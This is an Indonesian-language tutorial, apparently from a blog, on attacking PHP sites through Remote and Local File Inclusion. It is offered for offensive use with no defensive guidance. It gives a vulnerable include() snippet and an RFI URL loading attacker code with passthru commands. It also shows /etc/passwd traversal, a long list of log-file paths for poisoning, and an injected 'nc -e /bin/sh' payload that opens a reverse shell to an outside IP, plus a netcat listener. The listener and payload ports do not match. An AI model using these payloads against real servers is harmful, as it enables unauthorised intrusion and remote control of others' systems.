
Topik  kali ini kita sekedar membahas tentang keamanan suatu server, aplikasi  yang lagi populer saat ini yaitu “Remote File Inclusion” atau “Local  File Inclusion”, atau biasa disingkat 
RFI atau 
LFI,  adapun makna dari file inclusion ini ialah penyisipan kode ke file  .php, dengan memamfaatkan suatu kesalahan kode di file .php itu sendiri,  secara remote yaitu file tersebut tidak berada disatu tempat bersama  server, secara local yaitu file tersebut berada disatu tempat bersama  server. adapun perintah dalam bahasa pemograman .php yang memperbolehkan  penyisipan file php adalah: 
include, include_once, require, require_once. Penyisipan sebuah kode jahat bisa dilakukan secara remote atau mesin berbeda dengan server, bisa menggunakan protokol 
http:// https:// ftp:// smb:// atau biasa disebut “File Inclusion”, jika sebuah penyisipan kode jahat gagal mungkin settingan  
allow_url_include berada dalam kondisi 
Off pada 
php.ini.  Penyerang yang sadar bahwa aksi penyusupan kode jahat gagal selanjutnya  ia mencoba teknik “Local File Inclusion” dimana penyisipan halaman  berada dalam satu server yang sama. contoh kode .php sederhana yg ada  kelemahannya: 
<?php
$page = $_GET['page'];
include($page);
?>
Jikalau dijalankan maka akan muncul error: 
Notice: Undefined index: page in /var/www/htdocs/page.php on line 2
 Warning: include() [function.include]: Failed opening ” for inclusion  (include_path=’.:/usr/lib/php’) in /var/www/htdocs/page.php on line 3
Perhatikan kesalahan kode di baris ke-3 fungsi perintah inclusion  ‘page’ dan dalam kesalahan ini dapat dimamfaatkan untuk memasukkan kode  jahat, lihat perintah berikut: 
http://hong.web.id/page.php?page=…..attacker/kode.txt
Didalam file kode.txt dapat diisi kode yang kita inginkan seperti disini berikut contohnya: 
<?
echo “”.passthru(‘uname -rv’).”";
echo “<p>”;
echo “”.passthru(‘pwd’).”";
echo “<p>”;
echo “”.passthru(‘id’).”";
echo “<p>”;
echo “”.passthru(‘ls’).”";
echo “<p>”;
?>
Jadi kalau diinginkan perintah yang lebih jauh lagi, bisa di ganti  sendiri perintah2 didalam file kode.txt tadi, misalkan memasukkan file  backdoor telnet atau yang lainnya. (Kreativitas anda ditentukan disini).  nah tehnik penyerangan diatas berhasil jikalau tidak ada muncul  peringatan seperti berikut: 
Warning: include() [function.include]: URL file-access is  disabled in the server configuration in /var/www/htdocs/page.php on  line 3
 Warning: include(http://site.attacker/kode.txt) [function.include]:  failed to open stream: no suitable wrapper could be found in  /var/www/htdocs/page.php on line 3
Kalau nongol peringatan diatas berarti 
RFI tidak dibenarkan, mungkin settingan 
php.ini dibagian 
allow_url_include berada dalam kondisi 
Off. Tapi kita jangan putus asa dulu
, sekarang kita coba tehnik 
LFI atau
 local file inclusion,  dimana file yang akan kita sisipkan dalam hal ini berada disatu tempat  bersama server yang akan kita kerjain. Contoh perintahnya:
 http://hong.web.id/page.php?page=../../../etc/passwd
 Dan jika berhasil, maka akan kelihatan isi file 
/etc/passwd di server yang kita kerjain tadi. mau yang lebih keren lagi? misalnya mendapatkan akses ke shellnya? Coba langkah berikut: 
- Siapkan 1bh login shell ssh      atau apa saja yang penting bisa untuk menjalankan program netcat atau nc.
 - Koneksi internet yg ok yah,      ngga lelet maksudnya.
 - kreativitas, kesabaran anda,      rokok jgn lupa yah.
 
Perhatikan kode yang akan kita masukkan ke server 
GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>
Dimana ip 202.160.160.160 adalah ip shell kita yang telah kita  siapkan untuk menerima koneksi dari server yang sedang kita kerjain  tadi. dimana di shell kita jalankan perintah netcat berikut: 
root@hong.web.id:~# nc -l -v -p 4001
Perlu diingat, dimana disini diperlukan sedikit kesabaran dan kerja  keras, kode yang telah kita coba jalankan diweb yang kita serang, akan  menghasilkan error.log yang disimpan dlm sebuah file, dalam hal ini  posisi filenya mungkin berbeda disetiap server. berikut kira2 lokasi  file error.log nya: 
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../var/log/httpd/error_log
../../../../../../../var/log/httpd/error.log
Atau mungkin berada disatu direktori bersama: 
../../../../../../../var/log/httpd/namadomain.org-error_log
../../../../../../../var/log/httpd/namadomain.org-access_log
../../../../../../../home/namauser/public_html/error_log.gz
Sesudah memasukkan kode ‘GET/<? echo “”.passthru(‘nc -e /bin/sh  202.160.160.160 4002′).”";  ?>’ tadi ke web yang sedang kita kerjain,  dan kira2 filelognya di  ‘../../../../../../../home/namauser/public_html/error_log.gz’, perintah  selanjutnya yaitu: 
http://hong.web.id/page.php?page=../../../../../../../home/namauser/public_html/error_log.gz
Jika berhasil anda telah melakukan Remote Connect-Back Shell, coba  lihat konsole anda yang menjalankan nc tadi, kita akan mendapatkan shell  dari target dan kita bisa menjalankan berbagai perintah linux.
Sumber